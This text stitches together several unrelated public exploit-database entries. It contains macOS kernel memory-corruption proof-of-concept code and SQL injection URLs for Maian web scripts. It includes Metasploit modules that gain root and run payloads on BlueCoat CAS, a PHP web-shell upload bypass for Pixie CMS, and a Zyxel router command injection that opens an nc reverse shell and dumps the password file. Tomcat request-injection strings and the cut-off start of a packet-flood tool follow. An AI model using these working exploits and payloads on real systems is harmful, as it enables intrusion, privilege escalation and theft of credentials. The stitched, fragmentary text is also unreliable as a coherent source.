u_int32_t ifo_reserved;
mach_vm_address_t ifo_ordered_indices; /* array of u_int32_t */
};
#define SIOCSIFORDER _IOWR('i', 178, struct if_order)
int main() {
uint32_t data[] = {0x80001234};
struct if_order ifo;
ifo.ifo_count = 1;
ifo.ifo_reserved = 0;
ifo.ifo_ordered_indices = (mach_vm_address_t)data;
int fd = socket(PF_INET, SOCK_STREAM, 0);
int ret = ioctl(fd, SIOCSIFORDER, &ifo);
return 0;
}
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1111
SIOCSIFORDER and SIOCGIFORDER allow userspace programs to build and maintain the
ifnet_ordered_head linked list of interfaces.
SIOCSIFORDER clears the existing list and allows userspace to specify an array of
interface indexes used to build a new list.
SIOCGIFORDER allow userspace to query the list of interface identifiers used to build
that list.
Here's the relevant code for SIOCGIFORDER:
case SIOCGIFORDER: { /* struct if_order */
struct if_order *ifo = (struct if_order *)(void *)data;
u_int32_t ordered_count = if_ordered_count; <----------------- (a)
if (ifo->ifo_count == 0 ||
ordered_count == 0) {
ifo->ifo_count = ordered_count;
} else if (ifo->ifo_ordered_indices != USER_ADDR_NULL) {
u_int32_t count_to_copy =
MIN(ordered_count, ifo->ifo_count); <---------------- (b)
size_t length = (count_to_copy * sizeof(u_int32_t));
struct ifnet *ifp = NULL;
u_int32_t cursor = 0;
ordered_indices = _MALLOC(length, M_NECP, M_WAITOK);
if (ordered_indices == NULL) {
error = ENOMEM;
break;
}
ifnet_head_lock_shared();
TAILQ_FOREACH(ifp, &ifnet_ordered_head, if_ordered_link) {
if (cursor > count_to_copy) { <------------------ (c)
break;
}
ordered_indices[cursor] = ifp->if_index; <------------------ (d)
cursor++;
}
ifnet_head_done();
at (a) it reads the actual length of the list (of course it should take the lock here too,
but that's not the bug I'm reporting)
at (b) it computes the number of entries it wants to copy as the minimum of the requested number
and the actual number of entries in the list
the loop at (c) iterates through the list of all entries and the check at (c) is supposed to check that
the write at (d) won't go out of bounds, but it should be a >=, not a >, as cursor is the number of
elements *already* written. If count_to_copy is 0, and cursor is 0 the write will still happen!
By requesting one fewer entries than are actually in the list the code will always write one interface index
entry one off the end of the ordered_indices array.
This poc makes a list with 5 entries then requests 4. This allocates a 16-byte kernel buffer to hold the 4 entries
then writes 5 entries into there.
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
*/
// ianbeer
// add gzalloc_size=16 to boot args to see the actual OOB write more easily
#if 0
MacOS/iOS kernel memory corruption due to off-by-one in SIOCGIFORDER socket ioctl
SIOCSIFORDER and SIOCGIFORDER allow userspace programs to build and maintain the
ifnet_ordered_head linked list of interfaces.
SIOCSIFORDER clears the existing list and allows userspace to specify an array of
interface indexes used to build a new list.
SIOCGIFORDER allow userspace to query the list of interface identifiers used to build
that list.
Here's the relevant code for SIOCGIFORDER:
case SIOCGIFORDER: { /* struct if_order */
struct if_order *ifo = (struct if_order *)(void *)data;
u_int32_t ordered_count = if_ordered_count; <----------------- (a)
if (ifo->ifo_count == 0 ||
ordered_count == 0) {
ifo->ifo_count = ordered_count;
} else if (ifo->ifo_ordered_indices != USER_ADDR_NULL) {
u_int32_t count_to_copy =
MIN(ordered_count, ifo->ifo_count); <---------------- (b)
size_t length = (count_to_copy * sizeof(u_int32_t));
struct ifnet *ifp = NULL;
u_int32_t cursor = 0;
ordered_indices = _MALLOC(length, M_NECP, M_WAITOK);
if (ordered_indices == NULL) {
error = ENOMEM;
break;
}
ifnet_head_lock_shared();
TAILQ_FOREACH(ifp, &ifnet_ordered_head, if_ordered_link) {
if (cursor > count_to_copy) { <------------------ (c)
break;
}
ordered_indices[cursor] = ifp->if_index; <------------------ (d)
cursor++;
}
ifnet_head_done();
at (a) it reads the actual length of the list (of course it should take the lock here too,
but that's not the bug I'm reporting)
at (b) it computes the number of entries it wants to copy as the minimum of the requested number
and the actual number of entries in the list
the loop at (c) iterates through the list of all entries and the check at (c) is supposed to check that
the write at (d) won't go out of bounds, but it should be a >=, not a >, as cursor is the number of
elements *already* written. If count_to_copy is 0, and cursor is 0 the write will still happen!
By requesting one fewer entries than are actually in the list the code will always write one interface index
entry one off the end of the ordered_indices array.
This poc makes a list with 5 entries then requests 4. This allocates a 16-byte kernel buffer to hold the 4 entries
then writes 5 entries into there.
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
#endif
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <mach/mach.h>
struct if_order {
u_int32_t ifo_count;
u_int32_t ifo_reserved;
mach_vm_address_t ifo_ordered_indices; /* array of u_int32_t */
};
#define SIOCSIFORDER _IOWR('i', 178, struct if_order)
#define SIOCGIFORDER _IOWR('i', 179, struct if_order)
void set(int fd, uint32_t n) {
uint32_t* data = malloc(n*4);
for (int i = 0; i < n; i++) {
data[i] = 1;
}
struct if_order ifo;
ifo.ifo_count = n;
ifo.ifo_reserved = 0;
ifo.ifo_ordered_indices = (mach_vm_address_t)data;
ioctl(fd, SIOCSIFORDER, &ifo);
free(data);
}
void get(int fd, uint32_t n) {
uint32_t* data = malloc(n*4);
memset(data, 0, n*4);
struct if_order ifo;
ifo.ifo_count = n;
ifo.ifo_reserved = 0;
ifo.ifo_ordered_indices = (mach_vm_address_t)data;
ioctl(fd, SIOCGIFORDER, &ifo);
free(data);
}
int main() {
int fd = socket(PF_INET, SOCK_STREAM, 0);
set(fd, 5);
get(fd, 4);
return 0;
}
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1071
Selector 0x921 of IntelFBClientControl ends up in AppleIntelCapriController::GetLinkConfig
This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it
uses to index an array of pointers with no bounds checking:
This pointer is passed to AppleIntelFramebuffer::validateDisplayMode and the uint64 at offset +2130h is used as a C++ object pointer
on which a virtual method is called. With some heap grooming this could be used to get kernel code execution.
tested on MacOS Sierra 10.12.2 (16C67)
*/
// ianbeer
// build: clang -o capri_exec capri_exec.c -framework IOKit
#if 0
MacOS kernel code execution due to lack of bounds checking in AppleIntelCapriController::GetLinkConfig
Selector 0x921 of IntelFBClientControl ends up in AppleIntelCapriController::GetLinkConfig
This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it
uses to index an array of pointers with no bounds checking:
This pointer is passed to AppleIntelFramebuffer::validateDisplayMode and the uint64 at offset +2130h is used as a C++ object pointer
on which a virtual method is called. With some heap grooming this could be used to get kernel code execution.
tested on MacOS Sierra 10.12.2 (16C67)
#endif
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mach/mach_error.h>
#include <IOKit/IOKitLib.h>
int main(int argc, char** argv){
kern_return_t err;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl"));
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), 0, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}
uint64_t inputScalar[16];
uint64_t inputScalarCnt = 0;
char inputStruct[4096];
size_t inputStructCnt = 4096;
uint64_t outputScalar[16];
uint32_t outputScalarCnt = 0;
char outputStruct[4096];
size_t outputStructCnt = 0x1d8;
for (int step = 1; step < 1000; step++) {
memset(inputStruct, 0, inputStructCnt);
*(uint32_t*)inputStruct = 0x238 + (step*(0x2000/8));
outputStructCnt = 4096;
memset(outputStruct, 0, outputStructCnt);
err = IOConnectCallMethod(
conn,
0x921,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
if (err == KERN_SUCCESS) {
break;
}
printf("retrying 0x2000 up - %s\n", mach_error_string(err));
}
uint64_t* leaked = (uint64_t*)(outputStruct+3);
for (int i = 0; i < 0x1d8/8; i++) {
printf("%016llx\n", leaked[i]);
}
return 0;
}
# # # # #
# Exploit Title: Maian Survey v1.1 - SQL Injection
# Google Dork: N/A
# Date: 04.04.2017
# Vendor Homepage: http://www.maiansoftware.com/
# Software: http://www.maiansurvey.com/?dl=yes
# Demo: http://www.maiansoftware.com/demos/survey/
# Version: 1.1
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?cmd=surveys&survey=[SQL]
# # # # #
# # # # #
# Exploit Title: Maian Uploader Script v4.0 - SQL Injection
# Google Dork: N/A
# Date: 04.04.2017
# Vendor Homepage: http://www.maiansoftware.com/
# Software: http://www.maianuploader.com/?dl=yes
# Demo: http://www.maiansoftware.com/demos/uploader/
# Version: 4.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# Login as regular user
# http://localhost/[PATH]/index.php?cmd=view&user=[SQL]
# mu_members:id
# mu_members:joindate
# mu_members:sign_date
# mu_members:joinstamp
# mu_members:username
# mu_members:email
# mu_members:accpass
# # # # #
# # # # #
# Exploit Title: Maian Greetings v2.1 - SQL Injection
# Google Dork: N/A
# Date: 04.04.2017
# Vendor Homepage: http://www.maiansoftware.com/
# Software: http://www.maiangreetings.com/?dl=yes
# Demo: http://www.maiansoftware.com/demos/greetings/
# Version: 2.1
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?cmd=search&keywords=a&cat=[SQL]
# # # # #
# Exploit Title: OS Command Injection Vulnerability in BlueCoat ASG and CAS
# Date: April 3, 2017
# Exploit Authors: Chris Hebert, Peter Paccione and Corey Boyd
# Contact: chrisdhebert[at]gmail.com
# Vendor Security Advisory: https://bto.bluecoat.com/security-advisory/sa138
# Version: CAS 1.3 prior to 1.3.7.4 & ASG 6.6 prior to 6.6.5.4 are vulnerable
# Tested on: BlueCoat CAS 1.3.7.1
# CVE : cve-2016-9091
Timeline:
--------
08/31/2016 (Vulnerablities Discovered)
03/31/2017 (Final Vendor Patch Confirmed)
04/03/2017 (Public Release)
Description:
The BlueCoat ASG and CAS management consoles are susceptible to a privilege escalation vulnerablity.
A malicious user with tomcat privileges can escalate to root via the vulnerable mvtroubleshooting.sh script.
Proof of Concept:
Metasploit Module - root priv escalation (via mvtroubleshooting.sh)
-----------------
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/exe'
class Metasploit4 < Msf::Exploit::Local
Rank = AverageRanking
include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Exploit::Local::Linux
def initialize(info={})
super( update_info( info, {
'Name' => 'BlueCoat CAS 1.3.7.1 tomcat->root privilege escalation (via mvtroubleshooting.sh)',
'Description' => %q{
This module abuses the sudo access granted to tomcat and the mvtroubleshooting.sh script to escalate
privileges. In order to work, a tomcat session with access to sudo on the sudoers
is needed. This module is useful for post exploitation of BlueCoat
vulnerabilities, where typically web server privileges are acquired, and this
user is allowed to execute sudo on the sudoers file.
},
'License' => MSF_LICENSE,
'Author' => [
'Chris Hebert <chrisdhebert[at]gmail.com>',
'Pete Paccione <petepaccione[at]gmail.com>',
'Corey Boyd <corey.k.boyd[at]gmail.com>'
],
'DisclosureDate' => 'Vendor Contacted 8-31-2016',
'References' =>
[
['EDB', '##TBD##'],
['CVE', '2016-9091' ],
['URL', 'http://https://bto.bluecoat.com/security-advisory/sa138']
],
'Platform' => %w{ linux unix },
'Arch' => [ ARCH_X86 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86 } ]
],
'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },
'DefaultTarget' => 0,
}
))
register_options([
OptString.new("WritableDir", [ false, "A directory where we can write files", "/var/log" ]),
], self.class)
end
def check
id=cmd_exec("id -un")
if id!="tomcat"
print_status("#{peer} - ERROR - Session running as id= #{id}, but must be tomcat")
fail_with(Failure::NoAccess, "Session running as id= #{id}, but must be tomcat")
end
clprelease=cmd_exec("cat /etc/clp-release | cut -d \" \" -f 3")
if clprelease!="1.3.7.1"
print_status("#{peer} - ERROR - BlueCoat version #{clprelease}, but must be 1.3.7.1")
fail_with(Failure::NotVulnerable, "BlueCoat version #{clprelease}, but must be 1.3.7.1")
end
return Exploit::CheckCode::Vulnerable
end
def exploit
print_status("#{peer} - Checking for vulnerable BlueCoat session...")
if check != CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, "FAILED Exploit - BlueCoat not running as tomcat or not version 1.3.7.1")
end
print_status("#{peer} - Running Exploit...")
exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(3 + rand(5))}.elf"
write_file(exe_file, generate_payload_exe)
cmd_exec "chmod +x #{exe_file}"
begin
#Backup original nscd init script
cmd_exec "/usr/bin/sudo /opt/bluecoat/avenger/scripts/mv_troubleshooting.sh /etc/init.d/nscd /data/bluecoat/avenger/ui/logs/tro$
#Replaces /etc/init.d/nscd script with meterpreter payload
cmd_exec "/usr/bin/sudo /opt/bluecoat/avenger/scripts/mv_troubleshooting.sh #{exe_file} /data/bluecoat/avenger/ui/logs/troubles$
#Executes meterpreter payload as root
cmd_exec "/usr/bin/sudo /opt/bluecoat/avenger/scripts/flush_dns.sh"
#note, flush_dns.sh waits for payload to exit. (killing it falls over to init pid=1)
ensure
#Restores original nscd init script
cmd_exec "/usr/bin/sudo /opt/bluecoat/avenger/scripts/mv_troubleshooting.sh /var/log/nscd.backup /data/bluecoat/avenger/ui/logs$
#Remove meterpreter payload (precautionary as most recent mv_troubleshooting.sh should also remove it)
cmd_exec "/bin/rm -f #{exe_file}"
end
print_status("#{peer} - The exploit module has finished")
#Maybe something here to deal with timeouts?? noticied inconsistant.. Exploit failed: Rex::TimeoutError Operation timed out.
end
end
# Exploit Title: OS Command Injection Vulnerability in BlueCoat ASG and CAS
# Date: April 3, 2017
# Exploit Authors: Chris Hebert, Peter Paccione and Corey Boyd
# Contact: chrisdhebert[at]gmail.com
# Vendor Security Advisory: https://bto.bluecoat.com/security-advisory/sa138
# Version: CAS 1.3 prior to 1.3.7.4 & ASG 6.6 prior to 6.6.5.4 are vulnerable
# Tested on: BlueCoat CAS 1.3.7.1
# CVE : cve-2016-9091
Timeline:
--------
08/31/2016 (Vulnerablities Discovered)
03/31/2017 (Final Vendor Patch Confirmed)
04/03/2017 (Public Release)
Description:
The BlueCoat ASG and CAS management consoles are susceptible to an OS command injection vulnerability.
An authenticated malicious administrator can execute arbitrary OS commands with the privileges of the tomcat user.
Proof of Concept:
Metasploit Module - Remote Command Injection (via Report Email)
-----------------
##
# This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###
require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "BlueCoat CAS 1.3.7.1 \"Report Email\" Command Injection",
'Description' => %q{
BlueCoat CAS 1.3.7.1 (and possibly previous versions) are susceptible to an authenticated Remote Command Injection attack against
the Report Email functionality. This module exploits the vulnerability, resulting in tomcat execute permissions.
Any authenticated user within the 'administrator' group is able to exploit this; however, a user within the 'Readonly' group cannot.
},
'License' => MSF_LICENSE,
'Author' => [
'Chris Hebert <chrisdhebert[at]gmail.com>',
'Pete Paccione <petepaccione[at]gmail.com>',
'Corey Boyd <corey.k.boyd[at]gmail.com>'
],
'DisclosureDate' => 'Vendor Contacted 8-31-2016',
'Platform' => %w{ linux unix },
'Targets' =>
[
['BlueCoat CAS 1.3.7.1', {}],
],
'DefaultTarget' => 0,
'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Payload' =>
{
'BadChars' => '',
'Compat' =>
{
#'PayloadType' => 'cmd python cmd_bash cmd_interact',
#'RequiredCmd' => 'generic perl python openssl bash awk', # metasploit may need to fix [bash,awk]
}
},
'References' =>
[
['CVE', '2016-9091'],
['EDB', '##TBD##'],
['URL', 'https://bto.bluecoat.com/security-advisory/sa138']
],
'DefaultOptions' =>
{
'SSL' => true
},
'Privileged' => true))
register_options([
Opt::RPORT(8082),
OptString.new('USERNAME', [ true, 'Single username' ]),
OptString.new('PASSWORD', [ true, 'Single password' ])
], self.class)
end
#Check BlueCoat CAS version - unauthenticated via GET /avenger/rest/version
def check
res = send_request_raw({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'avenger', 'rest', 'version')
})
clp_version = res.body.split("\<\/serialNumber\>\<version\>")
clp_version = clp_version[1]
clp_version = clp_version.split("\<")
clp_version = clp_version[0]
if res and clp_version != "1.3.7.1"
print_status("#{peer} - ERROR - BlueCoat version #{clp_version}, but must be 1.3.7.1")
fail_with(Failure::NotVulnerable, "BlueCoat version #{clp_version}, but must be 1.3.7.1")
end
return Exploit::CheckCode::Vulnerable
end
def exploit
print_status("#{peer} - Checking for vulnerable BlueCoat Host...")
if check != CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, "FAILED Exploit - BlueCoat not version 1.3.7.1")
end
print_status("#{peer} - Running Exploit...")
post = {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'cas', 'v1', 'tickets'),
'method' => 'POST',
'vars_post' => post
})
unless res && res.code == 201
print_error("#{peer} - Server did not respond in an expected way")
return
end
redirect = res.headers['Location']
ticket1 = redirect.split("\/tickets\/").last
print_status("#{peer} - Step 1 - REQ:Login -> RES:Ticket1 -> #{ticket1}")
post = {
'service' => 'http://localhost:8447/avenger/j_spring_cas_security_check'
}
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'cas', 'v1', 'tickets', "#{ticket1}"),
'method' => 'POST',
'vars_post' => post
})
ticket2 = res.body
print_status("#{peer} - Step 2 - REQ:Ticket1 -> RES:Ticket2 -> #{ticket2}")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "avenger/j_spring_cas_security_check?dc=1472496573838&ticket=#{ticket2}")
})
unless res && res.code == 302
print_error("#{peer} - Server did not respond in an expected way")
return
end
cookie = res.get_cookies
print_status("#{peer} - Step 3 - REQ:Ticket2 -> RES:COOKIE -> #{cookie}")
if cookie.blank?
print_error("#{peer} - Could not retrieve a cookie")
return
end
unless res && res.code == 302
print_error("#{peer} - Server did not respond in an expected way")
return
end
cookie = res.get_cookies
if cookie.blank?
print_error("#{peer} - Could not retrieve the authenticated cookie")
return
end
print_status("#{peer} - LOGIN Process Complete ...")
print_status("#{peer} - Exploiting Bluecoat CAS v1.3.7.1 - Report Email ...")
if payload.raw.include?("perl") || payload.raw.include?("python") || payload.raw.include?("openssl")
#print_status("#{peer} - DEBUG: asci payload (perl,python, openssl,?bash,awk ")
post = "{\"reportType\":\"jpg\",\"url\":\"http\:\/\/localhost:8447/dev-report-overview.html\;echo #{Rex::Text.encode_base64(payload.raw)}|base64 -d|sh;\",\"subject\":\"CAS #{datastore["RHOST"]}: CAS Overview Report\"}"
else
#print_status("#{peer} - DEBUG - binary payload (meterpreter,etc, !!")
post = "{\"reportType\":\"jpg\",\"url\":\"http\:\/\/localhost:8447/dev-report-overview.html\;echo #{Rex::Text.encode_base64(payload.raw)}|base64 -d>/var/log/metasploit.bin;chmod +x /var/log/metasploit.bin;/var/log/metasploit.bin;\",\"subject\":\"CAS #{datastore["RHOST"]}: CAS Overview Report\"}"
end
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'avenger', 'rest', 'report-email', 'send'),
'method' => 'POST',
'cookie' => cookie,
'ctype' => 'application/json',
'data' => post
})
print_status("#{peer} - Payload sent ...")
end
end
# Exploit Title: File Extension Filter Bypass in File Manager Pixie 1.0.4 With Low Privilege # Google Dork: no
# Date: 02-April-2017
# Exploit Author: @rungga_reksya, @dvnrcy, @dickysofficial
# Vendor Homepage: http://www.getpixie.co.uk
# Software Link: https://us.softpedia-secure-download.com/dl/44791fdde14260bc7a8d08df65bcd048/58db4b5c/700044699/webscripts/php/pixie_v1.04.zip
# Version: 1.0.4
# CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H (7.5 - HIGH)# CVE-2017-7402
I. Background:
Pixie is a free, open source web application that will help quickly create your own website. Many people refer to this type of software as a "content management system (cms)", we prefer to call it as Small, Simple, Site Maker.
II. Description:
in Pixie CMS have three types for account privilege for upload:
- Administrator - Can access file manager but restricted extension for file upload.
- Client - Can access file manager but restricted extension for file upload.
- User - Cannot access file manager
Generally Pixie CMS have restricted extension for file upload and we cannot upload php extension. in normally if we upload php file, Pixie CMS will give information rejected like this “Upload failed. Please check that the folder is writeable and has the correct permissions set”.
III. Exploit:
In this case, we used privilege as client and then access to “file manager” (http://ip_address/folder_pixie_v1.04/admin/index.php?s=publish&x=filemanager). Please follow this step:
1. Prepare software to intercept (I used burpsuite free edtion).
2. Prepare for real image (our_shell.jpg).
3. Browse your real image on file manager pixie cms and click to upload button.
4. Intercept and change of filename “our_shell.jpg” to be “our_shell.jpg.php”
5. Under of perimeter “Content-Type: image/jpeg”, please change and write your shell. in this example, I use cmd shell.
6. If you done, forward your edit request in burpsuite and the pixie cms will give you information like this “our_shell.jpg.php was successfully uploaded”.
7. PWN (http://ip_address/folder_pixie_v1.04/files/other/our_shell.jpg.php?cmd=ipconfig)
————
POST /pixie_v1.04/admin/index.php?s=publish&x=filemanager HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/pixie_v1.04/admin/index.php?s=publish&x=filemanager
Cookie: INTELLI_843cae8f53=ovfo0mpq3t2ojmcphj320geku1; loader=loaded; INTELLI_dd03efc10f=2sf8jl7fjtk3j50p0mgmekpt72; f9f33fc94752373729dab739ff8cb5e7=poro8kl89grlc4dp5a4odu2c05; PHPSESSID=1ml97c15suo30kn1dalsp5fig4; bb2_screener_=1490835014+192.168.1.6; pixie_login=client%2C722b69fa2ae0f040e4ce7f075123cb18
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------8321182121675739546763935949
Content-Length: 901
-----------------------------8321182121675739546763935949
Content-Disposition: form-data; name="upload[]"; filename="our_shell.jpg.php"
Content-Type: image/jpeg
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
-----------------------------8321182121675739546763935949
Content-Disposition: form-data; name="file_tags"
ourshell
-----------------------------8321182121675739546763935949
Content-Disposition: form-data; name="submit_upload"
Upload
-----------------------------8321182121675739546763935949
Content-Disposition: form-data; name="MAX_FILE_SIZE"
102400
-----------------------------8321182121675739546763935949
Content-Disposition: form-data; name="bb2_screener_"
1490835014 192.168.1.6
-----------------------------8321182121675739546763935949--
This is our screenshot from PoC:
| |
| Upload for valid image
|
| |
| Change extension and insert your shell
|
| |
| Your shell success to upload on server
|
| |
| Example command for ipconfig
|
| |
| Example command for net user
|
IV. Thanks to:
- Alloh SWT
- MyBoboboy
- @rungga_reksya, @dvnrcy, @dickysofficial
- Komunitas IT Auditor & IT Security Kaskus
# Exploit Title: Zyxel, EMG2926 < V1.00(AAQT.4)b8 - OS Command Injection
# Date: 2017-04-02
# Exploit Author: Fluffy Huffy (trevor Hough)
# Vendor Homepage: www.zyxel.com
# Version: EMG2926 - V1.00(AAQT.4)b8
# Tested on: linux
# CVE : CVE-2017-6884
OS command injection vulnerability was discovered in a commonly used
home router (zyxel - EMG2926 - V1.00(AAQT.4)b8). The vulnerability is located in the diagnostic tools
specify the nslookup function. A malicious user may exploit numerous
vectors to execute arbitrary commands on the router.
Exploit (Reverse Shell)
https://192.168.0.1/cgi-bin/luci/;stok=redacted/expert/maintenance/diagnostic/nslookup?nslookup_button=nslookup_button&
ping_ip=google.ca%20%3B%20nc%20192.168.0.189%204040%20-e%20/p
Exploit (Dump Password File)
Request
GET /cgi-bin/luci/;stok=<Clipped>/expert/maintenance/diagnostic/nslookup?nslookup_button=nslookup_button&ping_ip=google.ca%3b%20cat%20/etc/passwd&server_ip= HTTP/1.1
Host: 192.168.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://192.168.0.1/cgi-bin/luci/;stok=<Clipped>/expert/maintenance/diagnostic/nslookup
Accept-Language: en-US,en;q=0.8
Cookie: csd=9; sysauth=<Clipped>
Connection: close
Response (Clipped)
<textarea cols="80" rows="15" readonly="true">root:x:0:0:root:/root:/bin/ash
daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
network:*:101:101:network:/var:/bin/false
nobody:*:65534:65534:nobody:/var:/bin/false
supervisor:$1$RM8l7snU$KW2C58L2Ijt0th1ThR70q0:0:0:supervisor:/:/bin/ash
admin:$1$<Clipped>:0:0:admin:/:/bin/fail
# Exploit Title:Apache Tomcat CVE-2016-6816 Security Bypass Vulnerability
# Date: 4th March 2017
# Exploit Author: justpentest
# Vendor Homepage: tomcat.apache.org
# Version: Apache Tomcat 9.0.0.M1 through 9.0.0.M11, 8.5.0 through 8.5.6,
8.0.0.RC1 through 8.0.38, 7.0.0 through 7.0.72 and 6.0.0 through 6.0.47
# Contact: transform2secure@gmail.com
Source: https://www.securityfocus.com/bid/94461/info
1) Description:
Apache Tomcat is prone to a security-bypass vulnerability.
An attacker can exploit this issue to bypass certain security restrictions
and perform unauthorized actions. This may lead to further attacks.
Apache Tomcat 9.0.0.M1 through 9.0.0.M11, 8.5.0 through 8.5.6, 8.0.0.RC1
through 8.0.38, 7.0.0 through 7.0.72 and 6.0.0 through 6.0.47 are
vulnerable.
This could be exploited, in conjunction with a proxy that also permitted
the invalid characters but with a different interpretation, to inject data
into the HTTP response. By manipulating the HTTP response the attacker
could poison a web-cache, perform an XSS attack and/or obtain sensitive
information from requests other then their own.
https://www.securityfocus.com/bid/94461/discuss
2) Exploit:
GET /?{{%25}}cake\=1 HTTP/1.1
Host: justpentest.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;
Trident/5.0)
Connection: close
Cookie:
NSC_MSN-IBNQ-VX-mcwtfswfs=ffffffff091c1daaaa525d5f4f58455e445a4a488888
OR
GET
/?a'a%5c'b%22c%3e%3f%3e%25%7d%7d%25%25%3ec%3c[[%3f$%7b%7b%25%7d%7dcake%5c=1
HTTP/1.1
Response will be Apache tomcat front page something like
https://en.wikipedia.org/wiki/File:Apache-tomcat-frontpage-epiphany-browser.jpg
3) Refrences:
https://nvd.nist.gov/vuln/detail/CVE-2016-6816
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6816
4) Solution:
As usual update ;)
//Exploited By Hosein Askari
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>
#ifdef F_PASS
#include <sys/stat.h>
#endif
#include <netinet/in_systm.h>
#include <sys/socket.h>
#include <string.h>
#include <time.h>
#ifndef __USE_BSD
# define __USE_BSD
#endif
#ifndef __FAVOR_BSD
# define __FAVOR_BSD
#endif
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#ifdef LINUX
# define FIX(x) htons(x)
#else
# define FIX(x) (x)
#endif
#define TCP_ACK 1
#define TCP_FIN 2
#define TCP_SYN 4
#define TCP_RST 8
#define UDP_CFF 16
#define ICMP_ECHO_G 32
#define TCP_NOF 64
#define TCP_URG 128
#define TH_NOF 0x0
#define TCP_ATTACK() (a_flags & TCP_ACK ||\
a_flags & TCP_FIN ||\
a_flags & TCP_SYN ||\
a_flags & TCP_RST ||\
a_flags & TCP_NOF ||\
a_flags & TCP_URG )
#define UDP_ATTACK() (a_flags & UDP_CFF)
#define ICMP_ATTACK() (a_flags & ICMP_ECHO_G)
#define CHOOSE_DST_PORT() dst_sp =3D=3D 0 ?\
random () :\
htons(dst_sp + (random() % (dst_ep -dst_sp +1)));
#define CHOOSE_SRC_PORT() src_sp =3D=3D 0 ?\
random () :\
htons(src_sp + (random() % (src_ep -src_sp +1)));
#define SEND_PACKET() if (sendto(rawsock,\
&packet,\
(sizeof packet),\
0,\
(struct sockaddr *)&target,\
sizeof target) < 0) {\
perror("sendto");\
exit(-1);\
}
#define BANNER_CKSUM 54018
u_long lookup(const char *host);
unsigned short in_cksum(unsigned short *addr, int len);
static void inject_iphdr(struct ip *ip, u_char p, u_char len);
char *class2ip(const char *class);
static void send_tcp(u_char th_flags);
static void send_udp(u_char garbage);
static void send_icmp(u_char garbage);
char *get_plain(const char *crypt_file, const char *xor_data_key);
static void usage(const char *argv0);
u_long dstaddr;
u_short dst_sp, dst_ep, src_sp, src_ep;
char *src_class, *dst_class;
int a_flags, rawsock;
struct sockaddr_in target;
const char *banner =3D "Written By C0NSTANTINE";
